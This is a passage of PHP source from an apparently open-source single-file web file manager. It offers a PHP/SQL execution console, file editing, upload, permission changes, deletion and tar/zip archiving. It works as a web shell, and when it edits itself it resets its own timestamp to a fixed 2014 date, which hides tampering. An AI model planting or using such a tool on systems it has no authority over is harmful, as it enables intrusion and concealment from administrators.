    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
